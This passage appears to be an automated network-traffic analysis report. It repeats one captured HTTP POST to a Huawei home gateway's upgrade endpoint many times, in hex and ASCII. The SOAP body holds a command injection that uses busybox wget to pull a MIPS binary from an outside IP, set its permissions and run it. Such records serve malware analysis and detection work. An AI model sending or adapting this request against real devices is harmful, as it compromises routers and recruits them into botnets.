6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 